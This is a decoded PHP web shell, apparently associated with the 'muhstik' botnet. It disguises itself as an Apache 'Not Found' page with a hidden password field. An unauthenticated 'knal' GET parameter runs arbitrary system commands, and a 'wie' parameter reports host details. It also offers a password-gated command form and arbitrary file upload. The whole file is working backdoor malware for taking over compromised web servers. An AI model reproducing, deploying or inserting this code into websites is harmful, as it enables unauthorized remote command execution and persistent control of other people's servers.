PHP Decode

@session_start(); 
error_reporting(0);

$auth_pass = "7417088120f026d02019047766a2fda9"; 

function printLogin() {
	echo "<h1>Not Found</h1>";
	echo "<p>The requested URL was not found on this server.</p>";
	echo "<hr>";
	echo "<address>Apache Server at ". $_SERVER['HTTP_HOST'] . " Port 80</address>";
    echo "<style>";
    echo "input { margin:0;background-color:#fff;border:1px solid #fff; }";
    echo "</style>";
    echo "<center>";
    echo "<form method=post>";
    echo "<input type=password name=pass>";
    echo "</form></center>";
	exit;
}

if (isset($_GET['wie'])) {
	$arr = array("who" => array(
		"os_name" => php_uname('s'),
		"uname_version_info" => php_uname('v'),
    	"machine_type" => php_uname('m'),
		"kernel" => php_uname('r'),
		"php_uname" => php_uname(),
		"is64bit" => PHP_INT_SIZE === 4 ? false : true
	));
	
   	print(json_encode($arr));

	exit;
} elseif (isset($_GET['knal'])) {
    $comd = $_GET['knal'];
    echo "<pre><font size=3 color=#000000>" . shell_exec($comd) . "</font></pre>";
	exit;
} elseif (isset($_POST['submit'])) {
	$uploaddir = pwd();
    if (!$name = $_POST['newname']) {
        $name = $_FILES['userfile']['name'];
    }
    move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $name);
    if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $name)) {
        echo "Upload Failed";
    } else {
        echo "Upload Success to " . $uploaddir . $name . " :D ";
    }
	exit;
}

if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])] )) {
    if(empty($auth_pass) || (isset( $_POST['pass']) && (md5($_POST['pass']) == $auth_pass))) {
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; 
    } else {
        printLogin();
	}
}

echo "<title>UnKnown - muhstik</title><br>";
$cur_user = "(" . get_current_user() . ")";
echo "<font size=2 color=#888888><b>User : uid=" . getmyuid() . $cur_user . " gid=" . getmygid() . $cur_user . "</b><br>";
echo "<font size=2 color=#888888><b>Uname : " . php_uname() . "</b><br>";

function pwd()
{
    $cwd = getcwd();
    if ($u = strrpos($cwd, '/')) {
        if ($u != strlen($cwd) - 1) {
            return $cwd . '/';
        } else {
            return $cwd;
        }
        ;
    } elseif ($u = strrpos($cwd, '\')) {
        if ($u != strlen($cwd) - 1) {
            return $cwd . '\';
        } else {
            return $cwd;
        }
        ;
    }
    ;
}
echo '<form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form>';
echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>';

if (isset($_POST['command'])) {
    $cmd = $_POST['cmd'];
    echo "<pre><font size=3 color=#000000>" . shell_exec($cmd) . "</font></pre>";
} else {
	if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
		echo "<pre><font size=3 color=#000000>" . shell_exec('dir') . "</font></pre>";
	} else {
		echo "<pre><font size=3 color=#000000>" . shell_exec('ls -la') . "</font></pre>";
	}
}